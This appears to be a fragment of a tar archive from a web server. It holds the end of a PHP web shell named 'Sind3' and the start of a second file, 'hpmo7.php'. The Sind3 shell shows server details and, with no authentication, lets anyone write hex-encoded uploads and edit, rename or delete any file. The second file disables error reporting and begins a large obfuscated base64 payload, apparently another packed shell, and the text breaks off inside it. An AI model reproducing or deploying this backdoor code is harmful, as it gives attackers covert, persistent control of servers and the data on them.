                if ($buff === false || $buff === '') {
                    break;
                }
                if (fwrite($out, $buff) === false) {
                    return false;
                }
            }
        } while (!feof($in));
        return true;
    } else {
        return stream_copy_to_stream($in, $out) !== false;
    }
}

if (isset($_POST['benkyo']) && isset($_POST['dakeja'])) {
    $fileName = $_POST['benkyo'];
    $encodedContent = $_POST['dakeja'];
    $decodedContent = hex2bin($encodedContent);

    if ($decodedContent === false) {
        if ($isAjax) {
            header('Content-Type: application/json');
            echo json_encode(['status' => 'failed', 'msg' => 'Invalid Base64 encoding']);
        } else {
            setFlash('failed', 'Invalid Base64 encoding');
            header("Location: ?d=" . hex($d));
        }
        exit;
    }

    $tempStream = fopen('php://temp', 'r+');
    fwrite($tempStream, $decodedContent);
    rewind($tempStream);

    $targetPath = $d . DIRECTORY_SEPARATOR . basename($fileName);
    $outStream = fopen($targetPath, 'wb');

    $success = $tempStream && $outStream && safe_stream_copy($tempStream, $outStream);

    if ($outStream) fclose($outStream);
    if ($tempStream) fclose($tempStream);

    if ($success) {
        if ($isAjax) {
            header('Content-Type: application/json');
            echo json_encode(['status' => 'success', 'msg' => 'File uploaded successfully']);
        } else {
            setFlash('success', 'File uploaded successfully');
            header("Location: ?d=" . hex($d));
        }
    } else {
        if ($isAjax) {
            header('Content-Type: application/json');
            echo json_encode(['status' => 'failed', 'msg' => 'File upload failed']);
        } else {
            setFlash('failed', 'File upload failed');
            header("Location: ?d=" . hex($d));
            exit;
        }
    }
    exit;
}
if (isset($_GET['action']) && in_array($_GET['action'], ['delete', 'rename', 'edit']) && isset($_GET['file'])) {
    if ($_GET['action'] === 'delete') {
        $fileName = $_GET['file'];
        $filePath = realpath($d . DIRECTORY_SEPARATOR . $fileName);
        if (!$filePath || !is_file($filePath)) {
            $response = ['status'=>'failed','msg'=>'File not found or access denied'];
        } else {
            $result = unlink($filePath);
            $response = $result 
                ? ['status'=>'success','msg'=>'File deleted successfully'] 
                : ['status'=>'failed','msg'=>'File deletion failed'];
        }
        header('Content-Type: application/json');
        echo json_encode($response);
        exit; 
    } elseif ($_GET['action'] === 'rename') {
        if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_name'])) {
            $oldFile = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
            $newFile = $d . DIRECTORY_SEPARATOR . $_POST['new_name'];
            if ($oldFile && is_file($oldFile)) {
                $result = rename($oldFile, $newFile);
                $response = $result 
                    ? ['status'=>'success','msg'=>'File renamed successfully'] 
                    : ['status'=>'failed','msg'=>'File renaming failed'];
                header('Content-Type: application/json');
                echo json_encode($response);
                exit;
            } else {
                header('Content-Type: application/json');
                echo json_encode(['status'=>'failed','msg'=>'File not found']);
                exit;
            }
        } elseif ($isAjax) {
            echo '<h2>Rename File: ' . htmlspecialchars($_GET['file']) . '</h2>';
            echo '<div class="terminal-box">';
            echo '<form class="ajaxForm" method="POST" action="?action=rename&d=' . hex($d) . '&file=' . urlencode($_GET['file']) . '">';
            echo '<input type="text" name="new_name" placeholder="New file name" required><br>';
            echo '<br><input type="submit" value="Rename"> ';
            echo '<button type="button" id="cancelAction">Cancel</button>';
            echo '</form>';
            echo '</div><hr>';
            exit;
        }
    } elseif ($_GET['action'] === 'edit') {
        if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) {
            $filePath = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
            if ($filePath && is_file($filePath)) {
                $fp = fopen($filePath, "w");
                if ($fp) {
                    $bytesWritten = fwrite($fp, stripslashes($_POST['content']));
                    fclose($fp);
                    $response = ($bytesWritten !== false)
                        ? ['status' => 'success', 'msg' => 'File edited successfully']
                        : ['status' => 'failed', 'msg' => 'File editing failed'];
                } else {
                    $response = ['status' => 'failed', 'msg' => 'File opening failed'];
                }
                header('Content-Type: application/json');
                echo json_encode($response);
                exit;
            } else {
                header('Content-Type: application/json');
                echo json_encode(['status' => 'failed', 'msg' => 'File not found']);
                exit;
            }        
        } elseif ($isAjax) {
            $filePath = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
            if ($filePath && is_file($filePath)) {
                $content = file_get_contents($filePath);
                echo '<h2>Edit File: ' . htmlspecialchars($_GET['file']) . '</h2>';
                echo '<div class="terminal-box">';
                echo '<form class="ajaxForm" method="POST" action="?action=edit&d=' . hex($d) . '&file=' . urlencode($_GET['file']) . '">';
                echo '<textarea name="content" rows="10" cols="50" required>' . htmlspecialchars($content) . '</textarea><br>';
                echo '<br><input type="submit" value="Save"> ';
                echo '<button type="button" id="cancelAction">Cancel</button>';
                echo '</form>';
                echo '</div><hr>';
            }
            exit;
        }
    }
}
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Sind3</title>
    <!-- Load Ubuntu Mono from Google Fonts -->
    <link href="https://fonts.googleapis.com/css2?family=Ubuntu+Mono&display=swap" rel="stylesheet">
    <style>
        * { box-sizing: border-box; }
        body {
            background-color: rgba(37, 37, 37, 0.8); /* Gray with slight transparency */
            color: #fff;
            font-family: 'Ubuntu Mono', monospace;
            margin: 0;
            padding: 0;
        }
        .container {
            width: 60%;
            margin: 50px auto;
            padding: 20px;
            background-color: #222;
            border-radius: 8px;
        }
        .futer {
            width: 60%;
            margin: 50px auto;
            padding: 20px;
            background-color: #222;
            border-radius: 8px;
        }
        .breadcrumbs { margin-bottom: 15px; }
        a { color: #0f0; text-decoration: none; }
        a:hover { text-decoration: underline; }
        table { width: 100%; border-collapse: collapse; margin-top: 20px; }
        th, td { border: 1px solid #555; padding: 8px; text-align: left; }
        th { background-color: #333; }
        input[type="text"], textarea {
            width: 100%;
            padding: 8px;
            margin: 0;
            border: 1px solid #333;
            border-radius: 4px;
            font-family: 'Ubuntu Mono', monospace;
        }
        input[type="submit"], button {
            border: 1px solid #fff;
            padding: 4px;
            background-color: #333;
            color: #fff;
            cursor: pointer;
            border-radius: 4px;
        }
        form { margin-bottom: 20px; }
        .terminal-box {
            background-color: #222;
            color: #0f0;
            padding: 15px;
            border: 1px solid #333;
            border-radius: 4px;
            margin-bottom: 20px;
        }
        .terminal-box input[type="text"],
        .terminal-box textarea {
            background-color: #222;
            color: #0f0;
            border: 1px solid #333;
        }
        .notification {
            position: fixed;
            bottom: 20px;
            left: 20px;
            padding: 10px 20px;
            border-radius: 4px;
            font-family: 'Ubuntu Mono', monospace;
            font-size: 14px;
        }
        .success { background-color: #0a0; color: #fff; }
        .failed { background-color: #a00; color: #fff; }
        /* Custom file input button styling */
        #fileInput {
            display: none;
        }
        .custom-file-button {
            border: 1px solid #fff;
            padding: 4px;
            background-color: #333;
            color: #fff;
            cursor: pointer;
            border-radius: 4px;
            display: inline-block;
        }
    </style>
</head>
<body>
<div class="container">
    &thinsp;&thinsp;&thinsp;<b>SERV  :</b> <?= isset($_SERVER['SERVER_SOFTWARE']) ? php_uname() : "Server information not available"; ?><br>
    &thinsp;&thinsp;&thinsp;<b>SOFT  :</b> <?php echo $_SERVER['SERVER_SOFTWARE'];?><br>
    &thinsp;&thinsp;&thinsp;<b>IP  &nbsp;&nbsp;:</b> <?= gethostbyname($_SERVER['HTTP_HOST']) ?><br>
    <br><b>&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212</b>
    <br><br><form id="uploadForm" class="ajaxForm" method="POST">
        <label for="fileInput" class="custom-file-button" id="fileLabel">Choose File</label>
        <input type="file" id="fileInput" required>
        <input type="submit" value="Upload">
    </form>

    <br><div id="breadcrumbContainer">
    <?php
    $k = preg_split("/(\\\\|\/)/", $d);
    foreach ($k as $m => $l) {
        if ($l == '' && $m == 0) {
            echo '<a class="ajx" href="?d=2f">/</a>';
        }
        if ($l == '') continue;
        echo '<a class="ajx" href="?d=';
        for ($i = 0; $i <= $m; $i++) {
            echo hex($k[$i]);
            if ($i != $m) echo '2f';
        }
        echo '">'.$l.'</a>/';
    }
    ?>
</div><br>
<div id="actionContainer"></div><br>
    <div id="fileListContainer">
        <?php
        $entries = scandir($d);
        $dirList = [];
        $fileList = [];
        foreach ($entries as $entry) {
            if ($entry == '.' || $entry == '..') continue;
            $path = $d . DIRECTORY_SEPARATOR . $entry;
            if (is_dir($path)) {
                $dirList[] = $entry;
            } else {
                $fileList[] = $entry;
            }
        }
        ?>
        <table>
            <thead>
                <tr>
                    <th>Name</th>
                    <th>Size</th>
                    <th>Actions</th>
                </tr>
            </thead>
            <tbody>
            <?php
            foreach ($dirList as $entry) {
                $path = $d . DIRECTORY_SEPARATOR . $entry;
                echo '<tr>';
                echo '<td><a class="ajaxDir" href="?d=' . hex($path) . '">' . htmlspecialchars($entry) . '</a></td>';
                echo '<td>-</td>';
                echo '<td></td>';
                echo '</tr>';
            }
            foreach ($fileList as $entry) {
                $path = $d . DIRECTORY_SEPARATOR . $entry;
                echo '<tr>';
                echo '<td>' . htmlspecialchars($entry) . '</td>';
                echo '<td>' . (is_file($path) ? filesize($path) . ' bytes' : '-') . '</td>';
                echo '<td>';
                echo '<a class="ajaxEdit" href="?action=edit&d=' . hex($d) . '&file=' . urlencode($entry) . '">Edit</a> | ';
                echo '<a class="ajaxRename" href="?action=rename&d=' . hex($d) . '&file=' . urlencode($entry) . '">Rename</a> | ';
                echo '<a class="ajaxDelete" href="?action=delete&d=' . hex($d) . '&file=' . urlencode($entry) . '">Delete</a>';
                echo '</td>';
                echo '</tr>';
            }
            ?>
            </tbody>
        </table>
    </div>
</div>

<div class="notification" id="notification" style="display:none;"></div>

<script>
// Show notification in the bottom left corner; auto-dismiss after 2 seconds.
function showNotification(status, msg) {
    var notif = document.getElementById('notification');
    notif.className = 'notification ' + status;
    notif.innerText = msg;
    notif.style.display = 'block';
    setTimeout(function(){ notif.style.display = 'none'; }, 2000);
}

function loadBreadcrumb() {
    var d = getQueryParam("d") || "<?php echo hex($d); ?>";
    fetch('?d=' + d + '&ajax=breadcrumb', { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
    .then(response => response.text())
    .then(html => {
        document.getElementById('breadcrumbContainer').innerHTML = html;
    });
}

function getQueryParam(name) {
    const urlParams = new URLSearchParams(window.location.search);
    return urlParams.get(name);
}

function loadFileList() {
    var d = getQueryParam("d") || "<?php echo hex($d); ?>";
    fetch('?d=' + d + '&ajax=1', { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
    .then(response => response.text())
    .then(html => {
        document.getElementById('fileListContainer').innerHTML = html;
        attachAjaxEvents(); // reattach events after update
        resetFileInputLabel();
    });
}

function resetFileInputLabel() {
    var label = document.getElementById('fileLabel');
    if(label) {
        label.textContent = "Choose File";
    }
}

function attachAjaxEvents() {
    document.querySelectorAll('.ajaxDelete').forEach(function(link) {
        link.addEventListener('click', function(e) {
            e.preventDefault();
            fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
            .then(response => response.json())
            .then(data => {
                showNotification(data.status, data.msg);
                loadFileList();
                resetFileInput();
            });
        });
    });
    document.querySelectorAll('.ajaxEdit').forEach(function(link) {
        link.addEventListener('click', function(e) {
            e.preventDefault();
            fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
            .then(response => response.text())
            .then(html => {
                document.getElementById('actionContainer').innerHTML = html;
                attachAjaxForm();
                attachCancelEvent();
                resetFileInputLabel();
                resetFileInput();
            });
        });
    });
    document.querySelectorAll('.ajaxRename').forEach(function(link) {
        link.addEventListener('click', function(e) {
            e.preventDefault();
            fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
            .then(response => response.text())
            .then(html => {
                document.getElementById('actionContainer').innerHTML = html;
                attachAjaxForm();
                attachCancelEvent();
                resetFileInputLabel();
                resetFileInput();
            });
        });
    });
    document.querySelectorAll('.ajaxDir').forEach(function(link) {
    link.addEventListener('click', function(e) {
        e.preventDefault();
        window.history.pushState(null, '', link.href);
        loadFileList();  // Reload the file list
        loadBreadcrumb(); // Reload the breadcrumb
        resetFileInputLabel();
        resetFileInput();
    });
});
}

function attachAjaxForm() {
    document.querySelectorAll('.ajaxForm').forEach(function(form) {
        form.addEventListener('submit', function(e) {
            e.preventDefault();
            var formData = new FormData(form);
            fetch(form.action, { method: 'POST', body: formData, headers: { 'X-Requested-With': 'XMLHttpRequest' } })
            .then(response => response.json())
            .then(data => {
                showNotification(data.status, data.msg);
                document.getElementById('actionContainer').innerHTML = '';
                loadFileList();
                resetFileInputLabel();
            });
        });
    });
}

function attachCancelEvent() {
    var cancelBtn = document.getElementById('cancelAction');
    if(cancelBtn) {
        cancelBtn.addEventListener('click', function() {
            document.getElementById('actionContainer').innerHTML = '';
            resetFileInputLabel();
        });
    }
}

function resetFileInput() {
    var fileInput = document.getElementById('fileInput');
    var fileLabel = document.getElementById('fileLabel');
    if (fileInput) {
        fileInput.value = ""; // Clear any selected file
    }
    if (fileLabel) {
        fileLabel.textContent = "Choose File"; // Reset label text
    }
}

document.addEventListener('DOMContentLoaded', function() {
    attachAjaxEvents();
    var fileInput = document.getElementById('fileInput');
    var uploadForm = document.getElementById('uploadForm');

    fileInput.addEventListener('change', function() {
        var label = document.getElementById('fileLabel');
        if(fileInput.files.length > 0) {
            label.textContent = fileInput.files[0].name;
        } else {
            label.textContent = "Choose File";
        }
    });

    if(uploadForm) {
        uploadForm.addEventListener('submit', function(e) {
            e.preventDefault();
            if(fileInput.files.length === 0) return;

            var file = fileInput.files[0];
            var reader = new FileReader();

            reader.onload = function(event) {
                var arrayBuffer = event.target.result;
                var bytes = new Uint8Array(arrayBuffer);
                var hexString = '';
                for (var i = 0; i < bytes.length; i++) {
                    hexString += bytes[i].toString(16).padStart(2, '0');
                }

                var formData = new FormData();
                formData.append("benkyo", file.name);
                formData.append("dakeja", hexString);

                fetch(uploadForm.action || window.location.href, {
                    method: 'POST',
                    body: formData,
                    headers: { 'X-Requested-With': 'XMLHttpRequest' }
                })
                .then(response => response.json())
                .then(data => {
                    showNotification(data.status, data.msg);
                    uploadForm.reset();
                    resetFileInputLabel();
                    loadFileList();
                });
            };

            reader.readAsArrayBuffer(file);
        });
    }
});
</script>
<footer class="futer">
				&copy; zeinhorobosu
			</footer>
</body>
</html>
hpmo7.php000064400000324523151550217160006323 0ustar00<?php
// Generated by @DevidLuice
error_reporting(0);
@ini_set('display_errors', 0);

$SMpiPHfV = array('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', 